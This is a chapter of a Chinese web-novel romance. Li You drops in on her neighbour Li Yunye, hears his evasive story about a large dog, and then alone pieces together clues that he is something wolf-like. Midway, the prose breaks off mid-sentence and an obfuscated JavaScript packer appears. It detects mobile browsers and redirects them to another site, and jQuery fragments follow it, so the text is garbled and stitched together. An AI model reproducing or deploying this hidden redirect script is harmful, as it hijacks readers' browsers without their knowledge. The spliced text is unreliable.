厉云野在黎悠轻柔的拍抚下渐渐止住了咳嗽,胸腔里的滞涩感慢慢消散,可耳根却不受控制地泛起一层薄红,像被阳光晒得微微发烫。
黎悠与自己离得这样近,衣袖扫过厉云野的臂膀,带来一阵细碎的痒意,身上那股气息更是缠人,刚出炉的鲜花饼甜香裹着她自身干净温暖的玫瑰花香,混着晨间阳光晒过的皂角味,丝丝缕缕萦绕鼻尖,比任何镇定剂都有效,瞬间抚平了他因紧张而躁动的血脉,连带着体内残存的兽性因子都安分了不少。
“没、没事了。”他有些不自然地微微侧身,避开了黎悠还停在半空的手,声音还带着呛咳后的沙哑,尾音轻轻发颤,泄露了几分不易察觉的慌乱。
黎悠也意识到自己的动作似乎过于亲昵,指尖微微一顿,才收回手重新坐回沙发上。
她下意识地捻着米白色家居服的衣角,布料柔软的触感缓解了些许尴尬,便又将话题绕回了那个小狼挂件,语气带着点怀念的温软:“那个小狼挂件……真的很特别。我当年那个是自己一针一线缝的,针脚歪歪扭扭的,耳朵还缝得一边高一边低,没想到市面上还有这么像的,连尾巴卷起来的弧度都一样。”她笑着摇摇头,眼底满是纯粹的感慨,并没有半分怀疑。
厉云野心中暗松一口气,顺着她的话将目光落在那个挂件上,浓密的睫毛垂了垂,掩去眼底翻涌的情绪,指尖无意识地摩挲着杯壁,低声道:“嗯,是……很特别。”对他而言,何止是特别,那是雪夜里唯一的光,是他藏了多年的珍宝,无可替代。
客厅里陷入短暂的沉默,只有阳光透过落地窗静静流淌,在地板上投下斑驳的光影。
鲜花饼的香甜气息弥漫在空气中,甜而不腻,冲淡了昨夜残留的些许阴冷与异常,连空气都变得暖融融的。
可黎悠的视线还是不自觉地飘向了茶几腿旁的那三道爪痕,被地毯边缘堪堪遮住,却依旧能看到深刻的印记。
理智告诉她不该过多探听别人的隐私,但那份担忧和好奇像小猫爪子一样挠着她的心,让她坐立难安。
她犹豫了一下,还是忍不住轻声开口,语气带着小心翼翼的试探:“厉云野……你,是不是养了什么……比较大的宠物?比如,大型犬?”
她想象着能留下那种痕迹的动物,脑海里浮现出德牧或是阿拉斯加的身影,又补充道,“我看爪痕很深,应该是体型不小的狗狗吧?”
厉云野端着水杯的手几不可察地收紧了一下,指腹传来玻璃杯的凉意,却压不住心底的微澜。
他垂下眼眸,浓密的睫毛在眼睑下投下一片浅浅的阴影,遮住了眼底一闪而过的慌乱与复杂。他知道,昨天的异响、今天的爪痕、掉落的“狼毛”,这些线索串联起来,很难不让人心生疑虑。
他不能说实话,可也不想用拙劣的谎言去侮辱她的智商,更不愿她往更坏的方向猜测,徒增担忧。
他抬起眼,看向黎悠,那双深邃的眼眸里带着一种坦诚的无奈,避重就轻地低声道:“算是吧。它……脾气不太好,尤其是某些特殊时期,会变得格外躁动,容易弄坏东西。昨天夜里动静可能大了点,是不是吓到你了?抱歉。”
这个解释半真半假,既顺理成章地解释了爪痕和异响,也隐晦地暗示了昨晚他状态不佳的原因,甚至为之前的“失联”和“摔手机”都提供了合理的背景,宠物失控,主人生病焦头烂额,难免顾不上其他。
黎悠看着他眼中那抹真实的歉意和疲惫,心里的疑惑似乎找到了一个合理的宣泄口。
原来是养了只大型犬吗?联想到他昨天那般苍白虚弱的样子,难道是照顾生病的宠物累倒了?还是不小心被躁动的狗狗伤到了?
那昨夜隐约闻到的淡淡血腥味,似乎也有了着落。
黎悠自动脑补出他深夜安抚失控宠物、甚至可能被误伤的画面,心里的担忧更甚,语气也软了下来:“没关系,我没吓到。”她连忙摆手,语气变得轻快了些。
“我理解的,大型狗狗有时候确实需要很多精力和耐心,照顾起来不容易。它现在……还好吗?有没有乖乖的?”她关切地问,仿佛那只虚拟的狗狗真的存在。
厉云野看着她清澈眼眸中全然的信任和关心,心底划过一丝难以言喻的愧疚,像被细针扎了一下,轻轻泛疼。但更多的,是被她这份纯粹关怀包裹的暖意,比阳光还要炽热。
他含糊地点点头,声音柔和了几分:“嗯,暂时……安静下来了,谢谢你的关心。”
他不想再在这个危险的话题上打转,便将装着鲜花饼的白瓷盘往她面前推了推,试图转移话题,语气真诚得不带一丝伪装:“鲜花饼很好吃,谢谢。比……我以前吃过的任何点心都好吃。”
黎悠的注意力果然被成功转移,脸上瞬间绽开一个明媚的笑容,眼底亮闪闪的,带着小小的得意:“真的吗?你喜欢就好!我里面加了自己熬的玫瑰酱,还拌了一点点橙花蜜提味,特意减了糖,怕太腻了,是不是比普通的更香一点?”
“嗯。”厉云野看着她开心的样子,嘴角也不自觉地微微上扬,勾起一个浅淡却真实的弧度。阳光落在她柔软的发丝上,泛着细碎的金光,衬得她脸颊的红晕愈发明显,眉眼弯弯的模样,像盛了一整个夏天的暖意,让他一时有些移不开眼。
气氛终于变得轻松而温馨,甜香萦绕,光影斑驳,连空气都带着缱绻的暖意。
又坐了一会儿,黎悠见厉云野眼底依旧残留着疲惫,眉宇间也藏着一丝挥之不去的倦意,便起身告辞:“你好好休息,我就不打扰你了。”
她顿了顿,想起他那个“脾气不好”的宠物,眨了眨眼,补充道,“如果……嗯,如果你或者你的‘宠物’还有什么需要帮忙的,比如需要人照看,或者缺什么东西,都可以随时来敲我的门,我住隔壁,很方便的。”
厉云野点点头,起身将她送到门口。看着她的身影走进隔壁,轻轻带上房门,他才缓缓地、长长地舒了一口气,紧绷的神经终于放松下来,后背的衣衫竟已被冷汗微微浸湿,贴在皮肤上,带着一丝凉意。
他走回客厅,目光复杂地掠过被地毯掩盖的爪痕,锁着围巾、手帕和草稿本的抽屉,以及那个静静躺在沙发角落的银灰色小狼挂件。
危机暂时解除。
但他知道,这只是开始。随着两人关系的靠近,他身份暴露的风险只会越来越大。而月圆之夜的煎熬,那撕心裂肺的痛苦与失控的恐惧,也将周而复始,像一道无法挣脱的枷锁。
厉云野弯腰拿起那个小狼挂件,紧紧攥在手心。绒毛柔软的触感传来,带着岁月沉淀的温度,仿佛能给予他一丝力量。
无论如何,他绝不能失去这片触手可及的月光。
黎悠推开门的瞬间,指尖还残留着厉云野家门把微凉的金属触感。她反手重重带上门,背脊抵着门板滑坐下去,背脊与门板碰撞发出沉闷的声响,恰如她此刻乱成一团的心跳。
方才在厉云野家强装的从容彻底崩塌,空气里仿佛还残留着他身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065243|192310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上清冽的雪松气息,混杂着一丝若有若无的、让她心悸的野性味道,将那些被刻意压下的疑团尽数翻搅上来。
抬手轻轻拍了拍自己发烫的脸颊,厉云野耳根泛红的样子、说话时沙哑的嗓音、还有他眼底深藏的疲惫与温柔,像电影片段一样在脑海里反复回放。
鼻尖似乎还萦绕着他身上那股冷冽的雪松气息,混着鲜花饼的甜香,形成一种奇异而迷人的味道,让人忍不住想要靠近。
她盯着玄关处暖黄的灯光在地板上投下的光斑,指尖无意识地抠着门板缝隙。
厉云野说那狼挂件是随手买的,说店里的病是普通风寒,说那些痕迹是养的大型犬留下的,每一个字都像是裹着糖衣的谎言,甜腻的表象下,是她无法忽视的违和感。
黎悠并不是傻子,厉云野刚才说的话,她一个字都不信。
那个神秘又温柔的男人,他的“宠物”,他的秘密,还有那个与自己当年一模一样的小狼挂件,像一个个钩子,牢牢地勾住了她的好奇心。
她隐隐觉得,厉云野的身上藏着一个不为人知的秘密,而这个秘密让她越来越好奇,而她,好像越来越想要走进他的世界,去了解他,去温暖他,去看看他眼底深处那片不为人知的风景。
起身走到客厅,她没开灯,任由窗外的天光勾勒出家具的轮廓,拿起桌上的水杯喝了一口,却满脑子都是刚才的画面。
脑海里像被按下循环键,刚才在厉云野家的每一个细节都被放大、慢放,那个小狼挂件,灰扑扑的绒毛带着被反复摩挲的温度,边缘处微微打结的质感,和她十五岁那年亲手缝制,高中时送给江烁后却被他不慎遗失那个一模一样。
她至今记得自己缝错了狼耳朵的角度,那挂件的左耳比右耳略低半分,而厉云野的那只,也是这样子的。
一个平日里冷硬寡言、醉心于生物研究的男人,会特意买一个幼稚的毛绒挂件,还宝贝似的带在身边这么久?这巧合,未免太过刻意。
还有他前几天的“病”。
黎悠抬手抚上自己的手腕,仿佛还能感受到那天触到他皮肤时的诡异温度,时而滚烫如火烧,时而冰寒似覆雪,他额角的冷汗顺着下颌线滑落,眼底藏着的不是病痛的虚弱,而是一种近乎暴戾的挣扎,像困在牢笼里的野兽。
尤其是昨晚,她隔着墙壁听到的声音,在厉云野那闻到的气息,黎悠绝非普通感冒能解释的。那是一种力量失控的气息,是从骨血里溢出来的野性。
还有那些银灰色的软毛——触感细腻得不像任何常见的宠物毛,更像是某种野生动物的绒毛。
茶几腿上的三道深刻的爪痕清晰可见,边缘锋利得像是被利器划过,需要多大的力量才能在实木上留下这样的痕迹?
厉云野说那是朋友寄养的大型犬弄的,可他家里没有宠物窝,没有食盆,甚至没有一丝宠物活动的痕迹,这未免太说不过去。
他的解释听起来天衣无缝,可细细琢磨,每一句都透着刻意的模糊,像是在小心翼翼地掩盖着什么。
让黎悠心头发紧的那声呜咽,黎悠捂住胸口,指尖微微发颤。当时她耳洞贴着墙壁,那声音沙哑而痛苦,带着浓浓的野性,绝不是人类能发出的声音,更像是兽类在月下的悲鸣。
那声音至今还在她耳边回响,带着一种直击灵魂的脆弱与暴戾,让她既心惊,又忍不住心疼。
这些线索像散落的拼图,在她脑海里盘旋、碰撞,却始终拼不出一个“正常”的答案。